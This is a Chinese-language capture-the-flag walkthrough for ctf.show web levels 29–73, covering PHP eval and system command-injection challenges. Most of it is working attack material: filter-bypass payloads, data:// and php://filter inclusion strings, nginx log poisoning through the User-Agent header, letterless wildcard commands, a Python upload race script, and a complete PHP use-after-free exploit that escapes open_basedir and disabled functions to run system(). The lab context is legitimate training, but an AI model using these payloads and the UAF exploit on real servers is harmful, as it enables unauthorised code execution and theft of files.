web-29
源码
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag/i", $c)){
eval($c);
}
}else{
highlight_file(__FILE__);
}
先了解一下preg_match()函数 :
preg_match函数是进行正则表达式的匹配,这里看源码则是过滤了flag
方法一:
主要思路将flag文件cp到一个txt文件中,然后访问这个txt文件
查看目录
?c=system('ls');
?c=system("cp fla?.php 1.txt");
/1.txt
方法2:
先查看一下php的一些信息
?c=phpinfo();
了解到没有禁用函数
调用php函数查看目录文件
?c=print_r(scandir("."));
另一种将flag.php写入到txt文件的方式
?c=system(“cat *php >>2.txt”);
之后访问2.txt
方法3:
我们要执行 cat flag.php,但是flag被过滤了,这时候就可以使用通配符
cat f*表示打开当前目录下所有 f开头的文件
?c=echo system('cat f*');
方法4:
如题目提示一样
c=echo `nl fl''ag.php`;
方法5:(很好用)
使用include结合伪协议和base64方法的方式
?c=echo "?><?php include"$GET_[url]";&url=php://filter/read=convert.base64-encode/resource=flag.php
web-30
源码
<?php
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag|system|php/i", $c)){
eval($c);
}
}else{
highlight_file(__FILE__);
}
分析代码,过滤了flag和system
主要方法和29一样,不过,过滤了system,但是命令可以写在``里
方法一:
主要思路将flag文件cp到一个txt文件中,然后访问这个txt文件
查看目录
?c=`ls`;
?c=`cp fla?.php 1.txt`;
/1.txt
方法2:
还是用伪协议加include
web-31
源码
<?php
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'/i", $c)) {
eval($c);
}
}else{
highlight_file(__FILE__);
}
从代码上看,这题增加了过滤cat和空格
cat的绕过和代替函数
more:一页一页的显示档案内容
less:与 more 类似。但在用 more 时候可能不能向上翻页,不能向上搜索指定字符串,而 less 却可以自由的向上向下翻页,也可以自由的向上向下搜索指定字符串。
head:查看头几行
tac:从最后一行开始显示,可以看出 tac 是 cat 的反向显示
tail:查看尾几行
nl:命令的作用和 cat -n 类似,是将文件内容全部显示在屏幕上,并且是从第一行开始显示,同时会自动打印出行号。
od:以八进制的方式读取档案内容
vi:一种编辑器,这个也可以查看
vim:一种编辑器,这个也可以查看
sort:可以查看
uniq:可以查看
file -f:报错出具体内容。可以利用报错将文件内容带出来(-f<名称文件> 指定名称文件,其内容有一个或多个文件名称时,让file依序辨识这些文件,格式为每列一个文件名称。)
空格的绕过
%09 符号需要php环境
{cat,flag.txt}
cat${IFS}flag.txt
cat$IFS$9flag.txt
cat<flag.txt
cat<>flag.txt
kg=$'\x20flag.txt'&&cat$kg
(\x20转换成字符串就是空格,这里通过变量的方式巧妙绕过)
方法一:根据上面绕过方式构建payload,如
?c=echo(`more%09f*`); //页面中无法显示,需要点击检查
?c=echo(`less%09f*`); //页面中无法显示,需要点击检查
?c=echo(`nl%09f*`); //页面中无法显示,需要点击检查
?c=echo(`tail%09f*`);
?c=echo(`tac%09f*`);
?c=echo(`more\x20f*`); //页面中无法显示,需要点击检查
?c=echo(`less\x20f*`); //页面中无法显示,需要点击检查
?c=echo(`nl\x20f*`); //页面中无法显示,需要点击检查
?c=echo(`tail\x20f*`);
?c=echo(`tac\x20f*`);
还可以根据上面的绕过方法有很多,但是上面有一种引起了我的注意,那就是od,linux下的shell编程,od是以八进制读取文件,构造payload
?c=echo(`od\x20f*`);
但是问题是出现一堆八进制数据,如图
看不懂,网上找了很多八进制解码也没有收获,于是,我决定从源头上看od的命令详细,结果,找到了od的一个命令可以同时查看原文
[b3335@localhost]$ echo lvlv|od -tcx1
0000000 l v l v \n
6c 76 6c 76 0a
0000005
于是我重新构造payload
?c=echo(`od\x20-tcx1\x20f*`);
显示如下
通过简单的分析,除了开头的0000000外,每16个原文单字符后面就出现编码内容,那只要找到字符flag的所在位置,那么flag也就清楚的知道了
方法二:
我们可以用eval( )来操作, 这个1已经不属于c的内容了,所以不受过滤管控了,
得到空白页面右击看源码才能得到flag
?c=eval($_GET[1]);&1=system('cat flag.php');
详情od的命令,请看linux od命令
方法三:就是上文中很好用的办法
?c=include"$_GET[url]"?>&url=php://filter/read=convert.base64-encode/resource=flag.php
然后在将显示的原文base64解码即可
方法四:其他姿势
?c=highlight_file(next(array_reverse(scandir(dirname(__FILE__)))));
方法五:题目提示的姿势
show_source(next(array_reverse(scandir(pos(localeconv())))));
web-32
源码
<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-09-04 00:12:34
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-04 00:56:31
# @email: [email protected]
# @link: https://ctfer.com
*/
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(/i", $c)){
eval($c);
}
}else{
highlight_file(__FILE__);
}
没什么好说的,就是新增过滤了,新增的括号过滤就是的上面很多方法用不了,但是php的伪协议还可以使用,因为include不用括号,分号可以用?>代替。
方法一:
?c=include"$_GET[url]"?>&url=php://filter/read=convert.base64-encode/resource=flag.php
方法二:
c=include$_GET[1]?>&1=data://text/plain,<?php system("cat flag.php");?>
c=include$_GET[1]?>&1=data://text/plain;base64,PD9waHAgc3lzdGVtKCJjYXQgZmxhZy5waHAiKTs/Pg==
这里需要打开源码,然后cat可以换成很多其他的代替函数,包括od的那种方法
web33-36
这几题和32差不多,唯一需要注意的就是,web36里的get参数得是字符,将1改成a即可
web-37
源码就不看了,过滤了flag ,又是 include 文件包含,利用伪协议
方法一:flag用f*绕过
?c=data://text/plain,<?php echo system('cat fl*');?>
?c=data://text/plain,<?php%20 system('cat fl*');?>
?c=data://text/plain;base64,PD9waHAgc3lzdGVtKCdjYXQgZmxhZy5waHAnKTs/Pg== //base64解码为<?php system('cat flag.php');?>
方法二:增加一个奇怪的姿势
通过右键检查,得知,此网站使用的是nginx,那么想到一个奇怪的点子,通过nginx的日志漏洞,来获取flag
已知nginx的日志存放在/var/log/nginx/access.log和/var/log/nginx/error.log,
通过日志配合UA头部注入漏洞开始操作
构造payload
?c=/var/log/nginx/access.log
可以看到界面中有一些我们的访问记录,内容涉及自己ip就不做展示,通过burp抓包,将其UA头部写入phpinfo()如果可行,那么也可以写一句话木马
forward发送,可以看到返回的界面已经变成了这样
即可以写入一句话木马,这里我们只有flag就好,写个post请求就好
在发送个post请求上去
测试了一下,tac,tail,od可行,cat,nl不可行
web-38
源码
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag|php|file/i", $c)){
include($c);
echo $flag;
}
}else{
highlight_file(__FILE__);
}
多了一个php过滤,其实就是php用不了,用base64编译一下即可
方法一:
?c=data://text/plain;base64,PD9waHAgc3lzdGVtKCdjYXQgZmxhZy5waHAnKTs/Pg==
要检查才能看见flag
方法二:多过滤了php,file
使用上一题的方式就行,需要把php换成= 即 <?= 内容 ?>
/?c=data://text/plains,<?= system(" cat f* ");?>
?c=data://text/plains,<?= system("tac f*");?>
方法三:
同上一题的日志和UA漏洞一样
web-39
源码
<?php
//flag in flag.php
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag/i", $c)){
include($c.".php");
}
}else{
highlight_file(__FILE__);
}
过滤了flag,限制了.php后缀
方法一:我们可以试试伪协议,因为不能带有flag,所以filter协议和php://input也不好用了。data://text/plain, 这样就相当于执行了php语句 .php 因为前面的php语句已经闭合了,所以后面的.php会被当成html页面直接显示在页面上,起不到什么 作用
flag使用*绕过
?c=data://text/plain,<?php echo system('cat fl*');?>
?c=data://text/plain,<?php%20 system('cat fl*');?>
/?c=data://text/plains,<?= system(" cat f* ");?>
上面那个UA头漏洞的不好使了
web-40
1.源码
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/[0-9]|\~|\`|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\-|\=|\+|\{|\[|\]|\}|\:|\'|\"|\,|\<|\.|\>|\/|\?|\\\\/i", $c)){
eval($c);
}
}else{
highlight_file(__FILE__);
}
过滤了很多东西,那么这里想到的就是构造无参数函数进行文件读取,什么是无参数函数。就是函数里不能有任何的参数。注:括号没有被过滤,那是中文的括号
解题过程:
1.print_r(scanndir('.'))
此函数可以查看当前目录所有文件名,但是说到其不能有参数,那么我们如何通过函数来构造这个.呢;
2.localeconv()
localeconv()返回一包含本地数字及货币格式信息的数组。而数组第一项就是.
3.current()
如何获取数组中的第一个单元呢,即current()返回数组中的单元,默认取第一个值
构造payload
/?c=print_r(scandir(current(localeconv())));
页面出现,成功打印当前目录下文件
除了current(),pos()也可以,pos是curren的别名,还有reset(),该函数返回数组的第一个单元值,如果数组为空,则返回FLASE
4.phpversion()
phpversion返回PHP版本,假设php版本为5.5.9,那么可以
floor(phpversion())返回 5
sqrt(floor(phpversion()))返回2.2360679774998
tan(floor(sqrt(floor(phpversion()))))返回-2.1850398632615
cosh(tan(floor(sqrt(floor(phpversion())))))返回4.5017381103491
sinh(cosh(tan(floor(sqrt(floor(phpversion()))))))返回45.081318677156
ceil(sinh(cosh(tan(floor(sqrt(floor(phpversion())))))))返回46
chr(ceil(sinh(cosh(tan(floor(sqrt(floor(phpversion()))))))))返回"."
也可以构造出.
5.crypt()
hebrevc(crypt(arg))可以随机生成一个hash值,第一个字符随机是$(大概率) 或者 "."(小概率) 然后通过chr(ord())只取第一个字符
chr(ord())只取第一个字符
ps:ord()返回字符串中第一个字符的Ascii值
那么构造payload
?c=print_r(scandir(chr(ord(hebrevc(crypt(time())))))); //(多刷新几次)
同理:strrev(crypt(serialize(array())))也可以得到".",只不过crypt(serialize(array()))的点出现在最后一个字符,需要使用strrev()逆序,然后使用chr(ord())获取第一个字符
?c=print_r(scandir(chr(ord(strrev(crypt(serialize(array())))))));
6.getcwd()和realpath('.')
正常的,我们还可以用print_r(scandir('绝对路径'));来查看当前目录文件名
获取绝对路径可用的有getcwd()和realpath('.'),
构造payload和上文差不多,直接写l
/?c=print_r(scandir(getcwd()));
?c=print_r(scandir(realpath(current(localeconv()))));
小结:php的函数很强大,获取.的方法有很多
读取当前目录文件
如果要获取的数组是最后一个我们可以用:
show_source(end(scandir(getcwd())));或者用readfile、highlight_file、file_get_contents 等读文件函数都可以(使用readfile和file_get_contents读文件,显示在源码处),
像我吗的flag.php在倒数第二个,我们可以用,当然readfile、highlight_file、file_get_contents,这些都可以
/?c=show_source(next(array_reverse(scandir(getcwd()))));
如果不是数组的最后一个或者倒数第二个呢?
我们可以使用array_rand(array_flip()),array_flip()是交换数组的键和值,array_rand()是随机返回一个数组
所以我们可以用:
show_source(array_rand(array_flip(scandir(getcwd()))));
show_source(array_rand(array_flip(scandir(current(localeconv())))));
web-41
详情见博客吧
web-42
源码
<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-09-05 20:49:30
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-05 20:51:55
# @email: [email protected]
# @link: https://ctfer.com
*/
if(isset($_GET['c'])){
$c=$_GET['c'];
system($c." >/dev/null 2>&1");
}else{
highlight_file(__FILE__);
}
>/dev/null 2>&1主要意思是不进行回显的意思,
我们要让命令回显,那么进行命令分隔即可
; //分号
| //只执行后面那条命令
|| //只执行前面那条命令
& //两条命令都会执行
&& //两条命令都会执行
%0a会别转换成换行
构造payload
cat flag.php;
cat flag.php||
cat flag.php;
cat flag.php%0a
web-43
源码
<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-09-05 20:49:30
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-05 21:32:01
# @email: [email protected]
# @link: https://ctfer.com
*/
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/;|cat/i", $c)){
system($c." >/dev/null 2>&1");
}
}else{
highlight_file(__FILE__);
}
和42一样,不过多了一个cat和分号过滤,可以用nl,more,less,tac,strings,od
payload有很多,这里值列举出一些
?c=more flag.php||
?c=sort flag.php||
?c=less flag.php||
?c=tac flag.php||
?c=tail flag.php||
?c=nl flag.php||
?c=strings flag.php||
web-44
源码
<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-09-05 20:49:30
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-05 21:32:01
# @email: [email protected]
# @link: https://ctfer.com
*/
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/;|cat|flag/i", $c)){
system($c." >/dev/null 2>&1");
}
}else{
highlight_file(__FILE__);
}
多了个flag过滤,用*绕过呗
payload有很多
?c=more f*||
?c=sort f*||
?c=less f*||
?c=tac f*||
?c=tail f*||
?c=nl f*||
?c=strings f*||
web45-51
45源码
<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-09-05 20:49:30
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-05 21:35:34
# @email: [email protected]
# @link: https://ctfer.com
*/
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|cat|flag| /i", $c)){
system($c." >/dev/null 2>&1");
}
}else{
highlight_file(__FILE__);
}
多了过滤空格,且不进行回显
空格绕过
>` `<` `<>` 重定向符
`%09`(需要php环境)
`${IFS}`
`$IFS$9`
`{cat,flag.php}` //用逗号实现了空格功能
`%20`
`%09`
那么我们可以构造很多payload
?c=more%09f*%||
?c=sort${IFS}fl*||
/?c=more${IFS}fl*||
46内容差不多
过滤了数子,$,*等,通配符可以使用?问号,空格可用%09 (不属于数字)
构造payload
?c=sort%09fl?g.php||
47多了写其他过滤
payload: ?c=tac%09fl?g.php||
48同上
payload: ?c=tac%09fl?g.php||
49同上
payload: ?c=tac%09fl?g.php||
50,过滤了%09,那么我们可以用<或者<>代替,但是使用<>这个和?匹配,无法回显,使用使用/代替问号
?c=tac<>fla\g.php||
?c=tac<>fla''g.php||
51,tac被过滤了,换nl,同时%0a是换行,同样可以进行命令分隔
?c=nl<>fla\g.php%0a
?c=nl<>fla\g.php||
web-52
源码
<?php
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|cat|flag| |[0-9]|\*|more|less|head|sort|tail|sed|cut|tac|awk|strings|od|curl|\`|\%|\x09|\x26|\>|\</i", $c)){
system($c." >/dev/null 2>&1");
}
}else{
highlight_file(__FILE__);
}
过滤都好说,构造payload
?c=nl${IFS}fla\g.php%0a
但是发现下面的界面,发现这是假的
那我们找一下还有什么其他的flag文件吧,根据查找文件命令find / -name "httpd.conf"和题目中的一些过滤,构造payload
?c=find${IFS}/${IFS}-name${IFS}"fla?.php"%0A
返回如下
就奇怪了,只有这里有flag.php,就没有了,我接着想,看看有没有什么别的flag文件,于是接着找
?c=find${IFS}/${IFS}-name${IFS}"fla?"%0A
结果被我找到两个
一个在tmp目录下,一个在根目录下,就两个都看看吧
tmp/flag
?c=nl${IFS}/tmp/fla?||
又是假的,那现在只能寄希望于根目录下的flag了
/flag
?c=nl${IFS}/fla?||
flag拿到
web-53
比较简单,直接给payload
?c=nl${IFS}fla\g.php
web-54
源码
<?php
/*
# -*- coding: utf-8 -*-
# @Author: Lazzaro
# @Date: 2020-09-05 20:49:30
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-07 19:43:42
# @email: [email protected]
# @link: https://ctfer.com
*/
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|.*c.*a.*t.*|.*f.*l.*a.*g.*| |[0-9]|\*|.*m.*o.*r.*e.*|.*w.*g.*e.*t.*|.*l.*e.*s.*s.*|.*h.*e.*a.*d.*|.*s.*o.*r.*t.*|.*t.*a.*i.*l.*|.*s.*e.*d.*|.*c.*u.*t.*|.*t.*a.*c.*|.*a.*w.*k.*|.*s.*t.*r.*i.*n.*g.*s.*|.*o.*d.*|.*c.*u.*r.*l.*|.*n.*l.*|.*s.*c.*p.*|.*r.*m.*|\`|\%|\x09|\x26|\>|\</i", $c)){
system($c);
}
}else{
highlight_file(__FILE__);
}
增加了很多过滤信息,.*加起来的作用就是匹配除换行符 \n 之外的任何单字符零次或多次。
这里想到了以前的方法,把flag.php复制到其他文件,在对其他文件访问,cp本来不在其过滤范围内,但是有些命令比如tac,这题中过滤成.*t.*a.*c.*,所以阴差阳错的把cp过滤了,但是,我们有其他方式,mv
方法一:mv
构造payload
/?c=mv${IFS}fla?.php${IFS}z.txt
再访问
/z.txt
方法二:grep
.grep 指令(用于查找内容包含指定的范本样式的文件)
/?c=grep${IFS}'{'${IFS}fla?.php
意思是在fla?.php文件中 查找有{符号的一行并显示
web-55
源码
<?php
/*
# -*- coding: utf-8 -*-
# @Author: Lazzaro
# @Date: 2020-09-05 20:49:30
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-07 20:03:51
# @email: [email protected]
# @link: https://ctfer.com
*/
// 你们在炫技吗?
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|[a-z]|\`|\%|\x09|\x26|\>|\</i", $c)){
system($c);
}
}else{
highlight_file(__FILE__);
}
方法一:
查看源代码发现没有过滤数字,我们就想一想在我们查看文件的命令有没有数字开头的。
匹配到/bin目录下的命令
cat、cp、chmod df、dmesg、gzip、kill、ls、mkdir、more、mount、rm、su、tar、base64等
发现存在一个base64
我们就可以通过通配符进行匹配命令执行查看flag.php
payload:
?c=/???/????64 ????.???
意思是 /bin/base64 flag.php
方法二:
/usr/bin目录:
主要放置一些应用软件工具的必备执行档例如c++、g++、gcc、chdrv、diff、dig、du、eject、elm、free、gnome、 zip、htpasswd、kfm、ktop、last、less、locale、m4、make、man、mcopy、ncftp、 newaliases、nslookup passwd、quota、smb、wget等。
我们可以利用/usr/bin下的bzip2
意思就是说我们先将flag.php文件进行压缩,然后再将其下载
payload:?c=/???/???/????2 ????.???
//然后再访问
/flag.php.bz2
方法三:
先拜读一下,p神的文章无字母webshell
做简单解释
. file执行文件时,不需要file有执行(x)权限,只要在目标服务器上有我们可控的文件,就能运行shell脚本执行他,那么如何获取到这个文件,我们可以发送一个上传文件的POST包,此时PHP会将我们上传的文件临时保存起来,在tmp目录下,命名方式为、tmp/phpXXXXXX,XXXXXX是随机生成的大小写字母,tmp目录下出来PHP上传的文件可能包含有大写字母,其他都没,那么我们可以构造正则表达式,
/?c=.+???/????????[@-[] //前面三个问号代表tmp,后面五个问号表示phpXXXXXX,最后一个[@-[]表示一个大写字母
这时候在本地构造上传文件的脚本
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>POST数据包POC</title>
</head>
<body>
<form action="http://a57a3c42-8bab-493a-89fb-98d40bcb70b3.challenge.ctf.show/" method="post" enctype="multipart/form-data">
<!--链接是当前打开的题目链接-->
<label for="file">文件名:</label>
<input type="file" name="file" id="file"><br>
<input type="submit" name="submit" value="提交">
</form>
</body>
</html>
通过burp抓包
将文件里的内容写成
注意这里写的是shell脚本,所以不能留有空白,比如ls下面就不能再有换行了,不然shell脚本无法执行,看见了flag.php,接下来cat flag.php就OK了
或者直接运行下面的脚本也可以
import requests
while True:
url = "http://a57a3c42-8bab-493a-89fb-98d40bcb70b3.challenge.ctf.show/?c=.+/???/????????[@-[]"
r = requests.post(url, files={"file": ('feng.txt', b'cat flag.php')})
if r.text.find("flag") > 0:
print(r.text)
break
web-56
源码
<?php
/*
# -*- coding: utf-8 -*-
# @Author: Lazzaro
# @Date: 2020-09-05 20:49:30
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-07 22:02:47
# @email: [email protected]
# @link: https://ctfer.com
*/
// 你们在炫技吗?
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|[a-z]|[0-9]|\\$|\(|\{|\'|\"|\`|\%|\x09|\x26|\>|\</i", $c)){
system($c);
}
}else{
highlight_file(__FILE__);
}
这里数字都被过滤了,只能用上面的方法三了
web-57
源码
<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-09-05 20:49:30
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-08 01:02:56
# @email: [email protected]
# @link: https://ctfer.com
*/
// 还能炫的动吗?
//flag in 36.php
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|[a-z]|[0-9]|\`|\|\#|\'|\"|\`|\%|\x09|\x26|\x0a|\>|\<|\.|\,|\?|\*|\-|\=|\[/i", $c)){
system("cat ".$c.".php");
}
}else{
highlight_file(__FILE__);
}
题目提示flag在36.php中,只要访问到36即可,但是这里过滤了数字
大家先看payload
/?c=$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~
$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~
$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~
$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~
$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~
$(())))$((~$(())))$((~$(())))))))
那么$(())到底是什么:
双小括号 (( )) 是 Bash Shell 中专门用来进行整数运算的命令,它的效率很高,写法灵活,是企业运维中常用的运算命令。 通俗地讲,就是将数学运算表达式放在((和))之间。 表达式可以只有一个,也可以有多个,多个表达式之间以逗号,分隔。对于多个表达式的情况,以最后一个表达式的值作为整个 (( ))命令的执行结果。
具体操作就来看在linux下的运行结果吧
web-58~65
这里都是post提交注意了,直接给出payload集
c=show_source("flag.php");
c=highlight_file(next(array_reverse(scandir(pos(localeconv())))));
c=highlight_file("flag.php");
c=print_r(file('flag.php'));
c=var_dump(file('flag.php'));
c=echo file_get_contents("flag.php");
//通过复制,重命名读取php文件内容(函数执行后,访问url/flag.txt)
copy()
rename()
//用法:
copy("flag.php","flag.txt"); //过60
rename("flag.php","flag.txt"); //过60
还有一些查看的payload
c=print_r(scandir('./'));
c=print_r(scandir(dirname('__FILE__')));
c=$a=new DirectoryIterator('glob:///*');foreach($a as $f){echo($f->__toString()." ");}
c=print_r(scandir(current(localeconv())));
web-66-67
这两关的flag在根目录下
查看一下根目录文件
c=$a=new DirectoryIterator('glob:///*');foreach($a as $f){echo($f->__toString()." ");}
c=var_dump(scandir("/"));
结果发现是flag.txt不是flag.php
构造payload
//下面是payload web-67过滤了print_r
c=include('/flag.txt');
c=require('/flag.txt');
c=require_once('/flag.txt');
c=highlight_file('/flag.txt');
web-68~70
68禁用highlight_file()
69禁用var_dump()
70禁用的更多
看不到源码
直接给出payload集吧
//查看目录
c=var_dump(scandir("/"));
c=$a=new DirectoryIterator('glob:///*');foreach($a as $f){echo($f->__toString()." ");}
//查看flag
c=var_dump('/flag.txt');
c=include('/flag.txt');
c=require('/flag.txt');
c=require_once('/flag.txt');
web-71
$s = ob_get_contents();//得到缓冲区的数据。
ob_end_clean();//会清除缓冲区的内容,并将缓冲区关闭,但不会输出内容
方法一:
直接include("/flag.txt"); 会输出一堆问号,那么可以用exit()/die()提前结束
c=include("/flag.txt");die();
方法二:
import requests
url = "http://3d1905b1-7a24-4278-a331-2443a106f69d.challenge.ctf.show/"
d = {'c': 'include("/flag.txt");echo ~ob_get_contents();'}
s = requests.post(url, d).content
# s = requests.post(url, d).text
print(s)
#
for i in s:
print(chr(~i&0xff), end='')
# 脚本来自群大佬阿狸
web-72
源码
<?php
error_reporting(0);
ini_set('display_errors', 0);
// 你们在炫技吗?
if(isset($_POST['c'])){
$c= $_POST['c'];
eval($c);
$s = ob_get_contents();
ob_end_clean();
echo preg_replace("/[0-9]|[a-z]/i","?",$s);
}else{
highlight_file(__FILE__);
}
?>
你要上天吗?
存在open_basedir,利用glob伪协议在筛选目录时不受open_basedir制约
c=$a=new DirectoryIterator('glob:///*');foreach($a as $f){echo($f->__toString()." ");}exit()
知道了文件为flag0.txt
open_basedir的作用就是指定目录位置了,意思是将PHP 所能打开的文件限制在指定的目录树,包括文件本身了,并且不受是不是安全模式的影响。
使用通用的uaf脚本绕过
pwn("ls /;cat /flag0.txt"); //这里写的是需要执行的命令
function pwn($cmd) {
global $abc, $helper, $backtrace;
class Vuln {
public $a;
public function __destruct() {
global $backtrace;
unset($this->a);
$backtrace = (new Exception)->getTrace(); # ;)
if(!isset($backtrace[1]['args'])) { # PHP >= 7.4
$backtrace = debug_backtrace();
}
}
}
class Helper {
public $a, $b, $c, $d;
}
function str2ptr(&$str, $p = 0, $s = 8) {
$address = 0;
for($j = $s-1; $j >= 0; $j--) {
$address <<= 8;
$address |= ord($str[$p+$j]);
}
return $address;
}
function ptr2str($ptr, $m = 8) {
$out = "";
for ($i=0; $i < $m; $i++) {
$out .= sprintf('%c',$ptr & 0xff);
$ptr >>= 8;
}
return $out;
}
function write(&$str, $p, $v, $n = 8) {
$i = 0;
for($i = 0; $i < $n; $i++) {
$str[$p + $i] = sprintf('%c',$v & 0xff);
$v >>= 8;
}
}
function leak($addr, $p = 0, $s = 8) {
global $abc, $helper;
write($abc, 0x68, $addr + $p - 0x10);
$leak = strlen($helper->a);
if($s != 8) { $leak %= 2 << ($s * 8) - 1; }
return $leak;
}
function parse_elf($base) {
$e_type = leak($base, 0x10, 2);
$e_phoff = leak($base, 0x20);
$e_phentsize = leak($base, 0x36, 2);
$e_phnum = leak($base, 0x38, 2);
for($i = 0; $i < $e_phnum; $i++) {
$header = $base + $e_phoff + $i * $e_phentsize;
$p_type = leak($header, 0, 4);
$p_flags = leak($header, 4, 4);
$p_vaddr = leak($header, 0x10);
$p_memsz = leak($header, 0x28);
if($p_type == 1 && $p_flags == 6) { # PT_LOAD, PF_Read_Write
# handle pie
$data_addr = $e_type == 2 ? $p_vaddr : $base + $p_vaddr;
$data_size = $p_memsz;
} else if($p_type == 1 && $p_flags == 5) { # PT_LOAD, PF_Read_exec
$text_size = $p_memsz;
}
}
if(!$data_addr || !$text_size || !$data_size)
return false;
return [$data_addr, $text_size, $data_size];
}
function get_basic_funcs($base, $elf) {
list($data_addr, $text_size, $data_size) = $elf;
for($i = 0; $i < $data_size / 8; $i++) {
$leak = leak($data_addr, $i * 8);
if($leak - $base > 0 && $leak - $base < $data_addr - $base) {
$deref = leak($leak);
# 'constant' constant check
if($deref != 0x746e6174736e6f63)
continue;
} else continue;
$leak = leak($data_addr, ($i + 4) * 8);
if($leak - $base > 0 && $leak - $base < $data_addr - $base) {
$deref = leak($leak);
# 'bin2hex' constant check
if($deref != 0x786568326e6962)
continue;
} else continue;
return $data_addr + $i * 8;
}
}
function get_binary_base($binary_leak) {
$base = 0;
$start = $binary_leak & 0xfffffffffffff000;
for($i = 0; $i < 0x1000; $i++) {
$addr = $start - 0x1000 * $i;
$leak = leak($addr, 0, 7);
if($leak == 0x10102464c457f) { # ELF header
return $addr;
}
}
}
function get_system($basic_funcs) {
$addr = $basic_funcs;
do {
$f_entry = leak($addr);
$f_name = leak($f_entry, 0, 6);
if($f_name == 0x6d6574737973) { # system
return leak($addr + 8);
}
$addr += 0x20;
} while($f_entry != 0);
return false;
}
function trigger_uaf($arg) {
# str_shuffle prevents opcache string interning
$arg = str_shuffle('AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA');
$vuln = new Vuln();
$vuln->a = $arg;
}
if(stristr(PHP_OS, 'WIN')) {
die('This PoC is for *nix systems only.');
}
$n_alloc = 10; # increase this value if UAF fails
$contiguous = [];
for($i = 0; $i < $n_alloc; $i++)
$contiguous[] = str_shuffle('AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA');
trigger_uaf('x');
$abc = $backtrace[1]['args'][0];
$helper = new Helper;
$helper->b = function ($x) { };
if(strlen($abc) == 79 || strlen($abc) == 0) {
die("UAF failed");
}
# leaks
$closure_handlers = str2ptr($abc, 0);
$php_heap = str2ptr($abc, 0x58);
$abc_addr = $php_heap - 0xc8;
# fake value
write($abc, 0x60, 2);
write($abc, 0x70, 6);
# fake reference
write($abc, 0x10, $abc_addr + 0x60);
write($abc, 0x18, 0xa);
$closure_obj = str2ptr($abc, 0x20);
$binary_leak = leak($closure_handlers, 8);
if(!($base = get_binary_base($binary_leak))) {
die("Couldn't determine binary base address");
}
if(!($elf = parse_elf($base))) {
die("Couldn't parse ELF header");
}
if(!($basic_funcs = get_basic_funcs($base, $elf))) {
die("Couldn't get basic_functions address");
}
if(!($zif_system = get_system($basic_funcs))) {
die("Couldn't get zif_system address");
}
# fake closure object
$fake_obj_offset = 0xd0;
for($i = 0; $i < 0x110; $i += 8) {
write($abc, $fake_obj_offset + $i, leak($closure_obj, $i));
}
# pwn
write($abc, 0x20, $abc_addr + $fake_obj_offset);
write($abc, 0xd0 + 0x38, 1, 4); # internal func type
write($abc, 0xd0 + 0x68, $zif_system); # internal func handler
($helper->b)($cmd);
exit();
直接c=上面的代码,最后在burp中url编码一下即可
web-73
这题和上一题一样,可以利用uaf的漏洞来做,先查看flag的命名
c=$a=new DirectoryIterator('glob:///*');foreach($a as $f){echo($f->__toString()." ");}
这一关的flag为flagc.txt
用上一题的代码,讲flag0.txt改为flagc.txt,在burp进行url编码
但是得到的内容是
这里显示UAF failed,原因是因为这里禁用了strlen()函数,我们检查一下uaf的脚本代码,发现有三处使用strlen()的地方,strlen()即是返回字符串长度,PHP中有一些函数可以替换,但是都会显示错误,要么就是不兼容这个脚本,要么就是数据溢出,所以这里我们自己写一个获取字符串长度的自定义函数
function strlen_user($s){
$ret=0;
for ($i=0;$i<1000000;$i++){
if($s[$i]){
$ret=$ret+1;
}else{
break;
}
}
return $ret;
}
